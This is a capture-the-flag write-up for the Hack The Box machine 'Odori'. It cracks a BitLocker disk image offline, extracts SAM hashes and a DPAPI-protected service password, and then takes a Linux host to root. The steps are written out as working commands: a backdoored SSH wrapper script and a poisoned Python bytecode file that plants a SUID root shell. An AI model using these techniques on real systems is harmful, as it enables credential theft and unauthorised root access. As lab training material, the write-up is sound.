The .vmdk was twenty gigabytes of Windows. The only thing we needed from it was a handful of registry hives and a folder of DPAPI blobs.

The plan: boot the VM, unlock the volume with the BitLocker password we’d already cracked, read the filesystem like a normal disk. The password worked. The login did not — no Administrator, no svc_backup, just a volume we could unlock and an OS we couldn’t enter.

The lock opened in seconds. The machine stayed locked for an hour.

A .vmdk is not a disk you can read. It is a disk you have to convince another operating system to read for you — and this one wanted an account we didn’t have. So we took the long way: restart ➜ escape BitLocker ➜ blue recovery ➜ skip this drive ➜ troubleshoot ➜ advanced options ➜ command prompt.

The prompt was the size of a business card. No host integration, no copy-paste, just diskpart and a keyboard. diskpart worked beautifully — the only generous thing that environment offered — but every keystroke felt like a negotiation.

smbserver.py died on a network failure at the exact moment the copy mattered. We dumped the hives. Nothing — WinRE’s own registry, we’d learn later. mimikatz had no logon session to read, so it gave us the same nothing in a more confident font.

The only useful things the whole detour produced were a script naming the account — svc_backup — and a folder of DPAPI blobs we copied out of spite. Not because we knew what to do with them, but because they were the only things left that looked like a secret.

That was the click. BitLocker feels like a Windows feature, but beneath the blue screens, it’s just AES math. You don’t need Windows to do the math. dislocker takes the password, bypasses the OS entirely, and projects the decrypted NTFS volume right into Linux. No boot. No recovery menu. The operating system doesn’t get a vote.

The intended path was obvious — boot the VM, hijack the SAM, dump memory with mimikatz. The official writeup will cover that route. This one never lets Windows wake up.


TL;DR

Odori hides a BitLocker disk behind anonymous Samba. The disk password falls to rockyou; the Windows login does not — dislocker, pytsk3, and pypykatz go around it entirely.

  • Prologue: The Artifact — anonymous SMB yields the backup share; spider_plus finds info.txt, which points at the machine’s .vmdk. odori.7z opens with hackthebox, and 7-Zip lists the VMDK itself — a 20 GiB monolithicSparse container with its GPT partitions — the first hint that the Windows detour will be worse than it needs to be.

  • The Unlock — bitlocker2john extracts the password and recovery-key hash families; hashcat mode 22100 cracks the user password to 123456789. 7z x hands over the raw BitLocker partition, dislocker unlocks it, and pytsk3 pulls the registry hives plus the recovery-key PDF.

  • Reading NTFS Without Mounting — pytsk3 opens bl_mnt/dislocker-file directly and sidesteps the root-index error by opening paths instead of listing the root. The recovery-key PDF confirms the disk identity: 723038DE-6388-44AD-8AC2-7FF6C7DA5966.

  • The Hives — pypykatz registry yields the boot key, the SAM accounts, and the LSA DPAPI_SYSTEM secret. svc_backup’s hash is be3071bd… and Administrator’s is b56b03d0…; neither cracks from rockyou. The SAM is a verification target, not a password source.

  • The Credential Blobs — the system profile holds two DPAPI blobs; the 560-byte FB28D44A… references master key bb3025a7… in the User/ set. Three commands — dpapi prekey, dpapi masterkey, dpapi credential — turn the hives and the blob into FILE02\svc_backup:Napping2Curator.

  • What the Password Opens — NetExec confirms the password over SSH; the account is jailed, so the plaintext goes over SFTP. /opt/restrict is owned by svc_backup — swapping the wrapper for a marker-triggered passthrough hands over a shell. A root cron imports from a world-writable __pycache__; poisoning the bytecode yields root.

  • Appendix: dploot — the three pypykatz commands collapse into one: dploot machinetriage --protocol local -r /mnt/odori-drive, against a cryptsetup-mounted volume. Same secret, no FUSE.


Prologue: The Artifact

Odori is a Linux host — Samba and SSH only — whose only real content is a Windows disk. SMB answers with null authentication enabled:

bash
➜ nxc smb 10.129.234.54
SMB         10.129.234.54  445    ODORI            [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:False) (Null Auth:True)

The shares open without credentials:

bash
➜ nxc smb 10.129.234.54 -u '' -p '' --shares
...[snip]...
SMB         10.129.234.54  445    ODORI            Share           Permissions            Remark
SMB         10.129.234.54  445    ODORI            -----           -----------            ------
SMB         10.129.234.54  445    ODORI            print$                                 Printer Drivers
SMB         10.129.234.54  445    ODORI            backup          READ                   Server Backups
SMB         10.129.234.54  445    ODORI            IPC$                                   IPC Service (odori server (Samba, Ubuntu))

A share called backup, readable anonymously. spider_plus walks it and finds one file — info.txt, a single sentence:

bash
➜ smbclient //odori.odori/backup -U 'anon%' -c 'get info.txt -'
Please download the .vmdk file linked in the machine description.
getting file \info.txt of size 66 as - (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

The disk is ~19 GB — too big for the SMB share — so the machine page hosts a compressed bundle:

bash
➜ 7z x odori.7z
Enter password:hackthebox
Method = LZMA2:25 7zAES

Inside is file02.vmdk, a 20 GiB VMware disk — and 7-Zip reads VMDK containers natively:

bash
➜ 7z l file02.vmdk
Scanning the drive for archives:
1 file, 20375339008 bytes (19 GiB)

Listing archive: file02.vmdk
--
Path = file02.vmdk
Type = VMDK
Method = "monolithicSparse"
Cluster Size = 65536
...[snip]...
--
Path = file02.gpt
Type = GPT
Sector Size = 512

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
                    .....    104857600    104857600  0.EFI system partition.img
                    .....     16777216     16777216  1.Microsoft reserved partition.img
                    .....  20800602112  20800602112  2.Basic data partition.img
                    .....    549453824    549453824  3.ntfs
------------------- ----- ------------ ------------  ------------------------
                           21471690752  21471690752  4 files

One command lays the whole disk bare: a monolithicSparse container and its GPT layout — a 20.8 GiB “Basic data” partition (the BitLocker volume) and a 549 MB ntfs one (the recovery environment). We only ever open the Basic data one; the recovery partition stays untouched. The disk is not a flat image; it is a sparse container. But more on that in the next section.


The Unlock

BitLocker volumes begin with a boot sector whose bytes 3–9 read -FVE-FS-. We never need to parse the container ourselves: file02.vmdk is sparse — only nonzero data is stored, which is why the 20 GiB disk is 18.7 GiB on disk — and as the prologue’s listing showed, 7-Zip reads the container itself: it walks the VMDK’s grain index, parses the GPT inside, and hands us each partition as its own file, no guest-filesystem knowledge required.

The BitLocker password is recoverable before anything else. bitlocker2john extracts the key material into hashcat lines:

text
User Password hash:
$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5
$bitlocker$1$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5
Recovery Password fast attack:
$bitlocker$2$16$0e51a3612966f798a7c1453cc00c17fb$1048576$12$a054f9580964db0107000000$60$8f21deeb81c915a00826ec90fc8058ab4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88da

Two families. The $0/$1 lines verify a typed password; the $2/$3 lines are the 48-digit recovery key — high-entropy, never in a wordlist (it is also sitting inside the image as a PDF; we grab it later). Mode 22100 handles the password lines:

bash
➜ hashcat -a 0 -m 22100 bitlocker.hash /opt/SecLists/rockyou.txt

$bitlocker$1$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5:123456789

123456789. The disk password is weak; the account passwords are not — and that distinction drives the rest of the post.

To spend it, we need dislocker — the standard Linux tool for reading BitLocker volumes (github.com/Aorimn/dislocker). It parses the encrypted partition’s metadata, derives the full-volume encryption key from the protector we name (here, the user password), and exposes the decrypted volume through FUSE. Point it at the partition and a directory, and that directory fills with dislocker-file: the NTFS volume as plaintext bytes — a file, not a mount.

Now the whole unlock, by hand — nothing but stock tools. First, 7-Zip extracts the BitLocker partition from the VMDK:

bash
➜ mkdir -p extract bl_mnt

➜ 7z x /mnt/vmshares/Shared/ctf/htb-odori/file02.vmdk -oextract '2.Basic data partition.img'
...
Everything is Ok

Size:       20800602112
Compressed: 20375339008

➜ mv extract/'2.Basic data partition.img' extract/bitlocker-partition.raw

The image arrives with the GPT partition label as its filename; one mv gives it a Linux-friendly name. (The quotes on the 7z argument matter — the name contains spaces, so an unquoted glob would split it.) Then dislocker-fuse decrypts that raw partition with the cracked password, exposing the volume as a single plaintext file:

bash
➜ LD_LIBRARY_PATH=/opt/dislocker/build/src:/opt/mbedtls/lib \
    /opt/dislocker/build/src/dislocker-fuse \
      --user-password=123456789 \
      -V extract/bitlocker-partition.raw \
      -- bl_mnt

➜ ls -la bl_mnt/
-rw-rw-rw- 1 root root 20800602112 Jan  1  1970 dislocker-file

--user-password= takes the typed password; the 48-digit recovery key goes in --recovery-password= instead — and it works, verified: the same volume unlocks with the PDF’s key, no user password involved. cryptsetup bitlkDump confirms the structure: two keyslots — recovery passphrase and user password — no TPM protector. Every step on the Windows side — the VM attach, the recovery-screen gauntlet, diskpart, the broken tools — is replaced by those two commands. bl_mnt/dislocker-file is the decrypted NTFS volume, and everything else is file surgery on the result.


Reading NTFS Without Mounting

Mounting NTFS as an unprivileged user is awkward. Reading it from a file is not. pytsk3 — the Python bindings for The Sleuth Kit — opens the decrypted volume directly:

python
import pytsk3
img = pytsk3.Img_Info('bl_mnt/dislocker-file')
fs  = pytsk3.FS_Info(img)

The root-directory listing on some images fails with an “Attribute 144 not found / $IDX_ROOT not found” error — the robust way is to open paths directly:

python
for p in ['/Windows/System32/config/SYSTEM',
          '/Windows/System32/config/SAM',
          '/Windows/System32/config/SECURITY',
          '/Windows/System32/config/SOFTWARE',
          '/Windows/System32/config/DEFAULT',
          '/Users/Administrator/Documents/recovery_key.pdf']:
    f = fs.open(path=p)
    open('hives/' + p.rsplit('/', 1)[1], 'wb').write(
        f.read_random(0, f.info.meta.size))

Also on the volume: the BitLocker recovery-key document, in the Administrator’s Documents folder:

text
Identifier:   723038DE-6388-44AD-8AC2-7FF6C7DA5966
Recovery Key: 075999-707454-473099-159214-272272-548955-521235-606100

That is the real recovery key for the volume — the same one the $bitlocker$2/$3 hashes represent. We never needed to type it; the password was enough. But it is a nice confirmation that the offline parse is reading the right disk. If you’d rather work against a real mount, the appendix’s dploot route does exactly that.


The Hives

With hives as files, the usual Windows forensics tools run on Linux unchanged. The previous section’s snippet, run against bl_mnt/dislocker-file, leaves the five hives plus the recovery-key PDF in hives/:

bash
➜ /opt/python312/bin/python3 - <<'PY'
import pytsk3
img = pytsk3.Img_Info('bl_mnt/dislocker-file')
fs  = pytsk3.FS_Info(img)
for p in ['/Windows/System32/config/SYSTEM',
          '/Windows/System32/config/SAM',
          '/Windows/System32/config/SECURITY',
          '/Windows/System32/config/SOFTWARE',
          '/Windows/System32/config/DEFAULT',
          '/Users/Administrator/Documents/recovery_key.pdf']:
    f = fs.open(path=p)
    open('hives/' + p.rsplit('/', 1)[1], 'wb').write(
        f.read_random(0, f.info.meta.size))
PY
bash
➜ pypykatz registry SYSTEM --sam SAM --security SECURITY

WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: ed44fa9df4c6a93d1ebe33bff5083393
============== SAM hive secrets ==============
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b56b03d0393ad23e2a893f1c754b0719:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:63d7c1f6a1a8378eba2ee87246bf7140:::
svc_backup:1000:aad3b435b51404eeaad3b435b51404ee:be3071bd4cce75e2bbd3c79c7ec5380e:::
============== SECURITY hive secrets ==============
Iteration count: 10240
LSA Key: 0969bdaf9988932f6c3aa0272ce011418f39df5a97459f7a27cf5094771d5bf2
=== LSA DPAPI secret ===
History: False
Machine key (hex): b7db177e591e961acac578175c1139626e36b40b
User key(hex): e72f58588ec7fe6a0733db679d91fee53a3a1896
=== LSA DPAPI secret ===
History: True
Machine key (hex): 3e267a597c87a213df0234f5081ed72b54d20d9a
User key(hex): 474b67edd984544c0d188a0408d6a5532c5374d4

The dump hands us accounts, NTLM hashes, and the LSA DPAPI key pairs. But look closely at what it does not give us: a password. svc_backup’s hash is be3071bd…, and it is not in rockyou. Administrator’s is b56b03d0…, also not in rockyou. The SAM is a verification target, not a password source. Which is exactly the situation we were in on the Windows side — a volume, no credentials, and the machine staying locked.

The one thing the hives do tell us: the LSA DPAPI_SYSTEM secret exists, so Windows must also have stored the master keys and the credential blobs they protect. That is where the password actually lives.


The Credential Blobs

This is the section the whole post has been building toward. The password is in a DPAPI-protected credential in the system profile — and the entire chain can be walked offline, no Windows involved.

The lead came from the Windows detour after all: Z:\Scripts\backup.ps1, read off the unlocked volume, defined the machine’s backup job. Its SFTP half — commented out, but intact — named the account:

powershell
$SFTPServer = "odori.vl"
$SFTPPort = 22
$SFTPUser = "svc_backup"
$SFTPPassword = "***"
$SFTPRemoteFolder = "/backup"

A signpost, not a secret: it tells us who (svc_backup) and where (odori.vl, /backup) — and the password is literally a "***" placeholder. The actual password had to live somewhere else: in the DPAPI stores the hives promised exist.

Find the stores

Two directories hold everything: master keys under Microsoft\Protect\<SID>\, credential blobs under <profile>\AppData\Local\Microsoft\Credentials\. For the SYSTEM account (SID S-1-5-18), the profile is systemprofile (both scripts live in the ctf-toolkit):

recon_dpapi.sh is a thin pytsk3 wrapper — it walks exactly those two directories and prints the tree:

bash
➜ ./recon_dpapi.sh ~/odori-lab/bl_mnt/dislocker-file

[*] DPAPI master key store (SYSTEM): /Windows/System32/Microsoft/Protect/S-1-5-18
├── 0fa91fd0-990c-4a7e-b7a9-e9cd72b0e344  (468 B)
├── 23c71bc0-dcbc-448f-b144-26c2296c1dd7  (468 B)
├── Preferred  (24 B)
└── User/
    ├── 4d0608b6-2a96-4d6b-9c81-b03c91485ea6  (468 B)
    ├── bb3025a7-e7d7-405e-bb83-13113f771deb  (468 B)
    ├── Diagnostic  (32 B)
    └── Preferred  (24 B)

[*] SYSTEM profile credential store: /Windows/System32/config/systemprofile/AppData/Local/Microsoft/Credentials
├── DFBE70A7E5CC19A398EBF1B96859CE5D  (11136 B)
└── FB28D44A1080F4C10BF3530DD6D7B9E1  (560 B)

The GUID-named files are DPAPI master keys (468 B each; Preferred records the active GUID). The Credentials/ folder holds two blobs. The blob FB28D44A… is small — 560 bytes — and it is the interesting one. Its header stores the GUID of the master key that protects it: bb3025a7-e7d7-405e-bb83-13113f771deb, which lives in the User/ subfolder — not the root keys. That mismatch is the clue that the User/ key set is the one that matters. Note the join: the blob filename (FB28D44A…) is not a GUID — the link is the GUID inside the blob’s header, matched against the GUID-named master-key file. And the match is one-to-many: one master key protects every blob that references it, so the same decrypted .dec feeds them all.

Dump the pieces

dump_dpapi.sh copies what recon found into a flat working directory (masterkeys/, credentials/):

bash
➜ ./dump_dpapi.sh ~/odori-lab/bl_mnt/dislocker-file ~/odori-lab/dpapi

[+] /Windows/System32/Microsoft/Protect/S-1-5-18/0fa91fd0-990c-4a7e-b7a9-e9cd72b0e344 -> /home/kaladin/odori-lab/dpapi/masterkeys/0fa91fd0-990c-4a7e-b7a9-e9cd72b0e344 (468 bytes)
[+] /Windows/System32/Microsoft/Protect/S-1-5-18/User/bb3025a7-e7d7-405e-bb83-13113f771deb -> /home/kaladin/odori-lab/dpapi/masterkeys/bb3025a7-e7d7-405e-bb83-13113f771deb (468 bytes)
[+] /Windows/System32/config/systemprofile/AppData/Local/Microsoft/Credentials/FB28D44A1080F4C10BF3530DD6D7B9E1 -> /home/kaladin/odori-lab/dpapi/credentials/FB28D44A1080F4C10BF3530DD6D7B9E1 (560 bytes)
[*] done.
DPAPI files in: /home/kaladin/odori-lab/dpapi/masterkeys/ and /home/kaladin/odori-lab/dpapi/credentials/

Three commands

Now the chain: prekeys from the hives ➜ decrypt the master key ➜ decrypt the blob. Run from the lab workdir:

bash
# 1. derive the DPAPI prekeys from the hives (LSA DPAPI_SYSTEM secret)
➜ pypykatz dpapi prekey registry hives/SYSTEM hives/SAM hives/SECURITY -o prekey.bin

# 2. decrypt the master key with the prekeys (input = the raw 468 B GUID file)
➜ pypykatz dpapi masterkey \
      dpapi/masterkeys/bb3025a7-e7d7-405e-bb83-13113f771deb \
      prekey.bin -o masterkey.bin

# 3. decrypt the credential blob with the master key (input = masterkey.bin output)
➜ pypykatz dpapi credential masterkey.bin \
      dpapi/credentials/FB28D44A1080F4C10BF3530DD6D7B9E1
type : DOMAIN_PASSWORD (2)
last_written : 133810756602155458
target : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
username : FILE02\svc_backup
unknown4 : Napping2Curator

There it is. FILE02\svc_backup and the password: Napping2Curator. The blob’s target field names the caller — Task Scheduler task {EB952370-…} running as batch (SYSTEM), i.e. the scheduled backup.ps1 job the script hinted at. The last_written timestamp matches the box’s provisioning window.

Hash and box agree — the plaintext hashes straight back to the SAM:

bash
➜ pypykatz crypto nt 'Napping2Curator'
be3071bd4cce75e2bbd3c79c7ec5380e

be3071bd… is svc_backup’s exact hash from the hive dump.

Gotchas worth keeping:

  • There is no --security flag on dpapi masterkey, and no --masterkey flag on dpapi credential in current pypykatz — both error with unrecognized arguments. The prekey-file workflow above is the supported way.
  • Point dpapi masterkey at the encrypted 468-byte GUID file, not at the -o output from a previous run (a 230-byte .dec). Feeding the decrypted file back in fails with KeyError: <ALGORITHMS.CALG_NO_SIGN…> — the parser reads the decrypted master-key structure as if it were still encrypted.
  • The sibling blob DFBE70A7… is not the SFTP password; it decrypts to a Windows Live credential (virtualapp/didlogical, username 02gzfzcceqsugmud). Two blobs, two different secrets — check every one.
  • Only the master key the blob references works; anything else fails with No matching masterkey was found for the blob! Looking for GUID bb3025…. The root-level keys never match.

That is the whole offline equivalent: three commands, and the only Windows artifact left is the disk being analysed. There is also a one-command shortcut that runs the same machine triage — see the Appendix.


What the Password Opens

Back on Odori, svc_backup is the SFTP backup account the image’s backup.ps1 named (server odori.vl, remote folder /backup). SMB pass-the-hash with the offline hashes only lands (Guest) — Samba falls back to guest, so the hashes verify but don’t authenticate SMB. The password, though, is a real credential — NetExec confirms it against the live box first:

bash
➜ nxc ssh odori -u 'svc_backup' -p 'Napping2Curator'
SSH         10.129.234.54   22     odori            [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.15
SSH         10.129.234.54   22     odori            [+] svc_backup:Napping2Curator  Network Devices

Then over SFTP, the actual backup transport:

bash
➜ sshpass -p 'Napping2Curator' sftp svc_backup@odori

sftp> pwd
Remote working directory: /home/svc_backup

sftp -b batchfile runs in batch mode, which has no interaction facilities — password prompts fail outright, so -b only works with key-based auth; for a password-authenticated session like this one, interactive sftp under sshpass (as above) is the supported shape.

SSH itself hangs after authentication — the account is jailed. sshd_config has:

text
Match group svc_backup
    ForceCommand /opt/restrict /home/%u

And /opt/restrict is a script owned by svc_backup — writable by the very user whose logins it wraps:

bash
#!/bin/bash
/usr/lib/openssh/sftp-server -d $1

The escape is the ownership: swap the jailed wrapper for a passthrough that keeps the SFTP job working but hands over a shell when a marker exists:

bash
#!/bin/bash
if [ -f /home/svc_backup/.shell ]; then
    if [ -n "$SSH_ORIGINAL_COMMAND" ]; then
        exec /bin/bash -c "$SSH_ORIGINAL_COMMAND"
    fi
    exec /bin/bash -i
fi
exec /usr/lib/openssh/sftp-server -d "$1"

The marker is just an empty file — its existence alone flips the wrapper; without it, the passthrough still runs sftp-server, so the backup job is unaffected.

bash
➜ sshpass -p 'Napping2Curator' sftp svc_backup@odori
sftp> put restrict /opt/restrict
sftp> chmod 755 /opt/restrict
sftp> bye

➜ touch .shell
➜ sshpass -p 'Napping2Curator' sftp svc_backup@odori
sftp> put .shell
sftp> bye

➜ sshpass -p 'Napping2Curator' ssh svc_backup@odori
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)

User shell, user flag. From there the box is a short root chain: a root cron runs /opt/archiver/app.py every minute, and that app imports helper from a module directory whose __pycache__ is world-writable. Replace the cached bytecode with our own, and the next tick runs it as root:

bash
svc_backup@odori:~$ ls -la /opt/archiver/
drwxr-xrwx 2 root root 4096 Jan 16 2025 __pycache__

svc_backup@odori:~$ cp /opt/archiver/__pycache__/helper.cpython-310.pyc /tmp/helper.pyc.orig

svc_backup@odori:~$ cat > /tmp/helper.py <<'EOF'
import os
os.system('cp /bin/bash /tmp/pwn && chmod 4755 /tmp/pwn')
EOF

svc_backup@odori:~$ python3 -m py_compile /tmp/helper.py

A plain cp over the cached pyc fails — Permission denied. The __pycache__ directory is world-writable, but the file itself is root-owned 644, and you can’t overwrite a file in place; you have to delete it first. Python also validates the pyc header against helper.py, so carry the original 16-byte header (magic/flags/mtime/size) onto our payload before installing:

bash
svc_backup@odori:~$ dd if=/tmp/helper.pyc.orig of=/tmp/__pycache__/helper.cpython-310.pyc bs=16 count=1 conv=notrunc
svc_backup@odori:~$ rm -f /opt/archiver/__pycache__/helper.cpython-310.pyc
svc_backup@odori:~$ cp /tmp/__pycache__/helper.cpython-310.pyc /opt/archiver/__pycache__/helper.cpython-310.pyc

svc_backup@odori:~$ ls -la /tmp/pwn
-rwsr-xr-x 1 root root 1396520 Nov  5 08:48 /tmp/pwn

svc_backup@odori:~$ /tmp/pwn -p
root@odori:/# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)

Root. The disk forensics is what made all of it possible: the password in the DPAPI blob is the key that opens the box.


Closing Thoughts

The Windows detour was not wasted — it is what told us where the secret was not. The hives from the recovery session were WinRE’s own registry, not the image’s; mimikatz had no logon session to read; and the only lead the whole trip produced was the name in backup.ps1: svc_backup. The script named the account. The SAM held the hash — a verification target, not a source. The DPAPI blob held the password, and the offline chain prekey ➜ masterkey ➜ credential proved all three fit together — a chain that also collapses into a single dploot call when you’d rather mount than read files (Appendix).

The comparison that matters:

Windows shenanigan Linux equivalent
VMware attach + BitLocker boot screen 7z x ➜ raw BitLocker partition; dislocker-fuse --user-password=…
diskpart in a tiny WinRE window pytsk3 — open the decrypted volume as a file
smbserver.py + net use direct extraction, no network involved
hijack the SAM first ➜ reg save hives none — hives are just files, read straight off the disk
reg save in WinRE (SYSTEM, but the wrong hive set) the image’s own hives via pytsk3
mimikatz from memory pypykatz dpapi prekey ➜ masterkey ➜ credential — or one dploot machinetriage

The disk is a file. The encryption is a volume with a recoverable user-password protector. The filesystem is a documented format. None of it strictly requires the OS it belongs to — and the password that opens the box was never in the VM. It was in the disk, and Linux reads disks better than anyone.


Appendix: dploot

The main body never mounts — disk as file, all the way through. dploot needs a filesystem root, so this route does. Same bytes, same secret, different access shape.

The three pypykatz commands have a one-command alternative: dploot runs the same SYSTEM masterkey + credential triage in a single call.

The syntax matters — local mode takes --protocol local and -r/--root <path>; there is no positional path, and -t is only for SMB targets. Use the absolute path — dploot matches files against the root, so keep it full:

bash
➜ dploot machinetriage --protocol local -r /mnt/odori-drive

One gotcha: dploot opens the SYSTEM hive read-write, so a read-only mount fails before anything happens:

text
[-] LSA hashes extraction failed: [Errno 30] Read-only file system: '/mnt/odori-drive/Windows/System32/config/SYSTEM'

So mount the decrypted volume read-write. There is more than one way to get there; the one we used skips dislocker entirely — cryptsetup opens BitLocker volumes natively (no mbedTLS, no FUSE) and hands you the decrypted volume as a block device:

bash
➜ sudo losetup -f --show extract/bitlocker-partition.raw
/dev/loop0

➜ printf %s '123456789' > /tmp/bitlk.key && chmod 600 /tmp/bitlk.key
➜ sudo cryptsetup open --type bitlk --key-file=/tmp/bitlk.key /dev/loop0 odori
➜ rm -f /tmp/bitlk.key
➜ ls -l /dev/mapper/odori
lrwxrwxrwx 1 root root 7 Nov  5 11:39 /dev/mapper/odori -> ../dm-2

The recovery key works here too — --key-file accepts the PDF’s key verbatim (hyphens included), and the same dploot run returns identical output.

Then mount it. One gotcha: NTFS has no POSIX ownership, so a default mount presents every file as root-owned — and dploot needs write access to the SYSTEM hive. Mount with your uid/gid baked in (a fresh mount; an in-place remount ignores the option):

bash
➜ sudo mount -t ntfs3 -o rw,uid=1000,gid=1000 /dev/mapper/odori /mnt/odori-drive
➜ stat -c '%s %n' /mnt/odori-drive/Windows/System32/config/SYSTEM
17563648 /mnt/odori-drive/Windows/System32/config/SYSTEM

Now dploot runs unprivileged, straight against the mounted tree:

bash
➜ dploot machinetriage --protocol local -r /mnt/odori-drive
[*] Reading /mnt/odori-drive
[*] Triage SYSTEM masterkeys

{0fa91fd0-990c-4a7e-b7a9-e9cd72b0e344}:fc042cf803faef70864beab0eed18d5a2c820aad
{23c71bc0-dcbc-448f-b144-26c2296c1dd7}:728e7e2ac5a64d58b6a4f75f7c6d4d12de3a2aa7
{e24d3677-a0d9-4fc5-8b09-97eae8c68ddb}:a9ccda1abf8a1c06c14ad2f274930cd6a0c47c44
{1d2be795-6567-4400-b490-eef5723b1e8d}:700c2ebaa1276bae9c1ea93d1f6d2b1753038444
{4d0608b6-2a96-4d6b-9c81-b03c91485ea6}:989f9583c972b6859f4c38742aba0481dfc82b37
{bb3025a7-e7d7-405e-bb83-13113f771deb}:2dac27377eb1b611fa5a88598dc5b8c1f7a0fdbd

[*] Triage SYSTEM Credentials

[CREDENTIAL]
LastWritten : 2025-01-11 13:27:40+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
Username    : FILE02\svc_backup
Unknown     : Napping2Curator

Same secret, same target, same 2025-01-11 timestamp — without assembling prekeys, master keys, and blobs by hand. The vault and certificate stores come back empty on this box; the credential store is what matters.

Teardown is the reverse:

bash
➜ sudo umount /mnt/odori-drive
➜ sudo cryptsetup close odori
➜ sudo losetup -d /dev/loop0

Same secrets, same target — no FUSE, no mbedTLS. The trade-off: the setup needs root (losetup/cryptsetup/mount), though dploot itself then runs unprivileged — and the volume stays a mounted filesystem rather than a single portable file. The dislocker route keeps everything unprivileged and filesystem-shaped; this route keeps everything block-device-shaped. Both end at the same FILE02\svc_backup:Napping2Curator.

The two routes at a glance

  dislocker route cryptsetup + dploot route
Unlock dislocker-fuse (FUSE) — no root cryptsetup --type bitlk — root
Volume shape a single file (dislocker-file) block device ➜ mounted tree
DPAPI triage three pypykatz commands one dploot machinetriage
Dependencies mbedTLS + pytsk3 cryptsetup + dploot
Side effects none mount + root throughout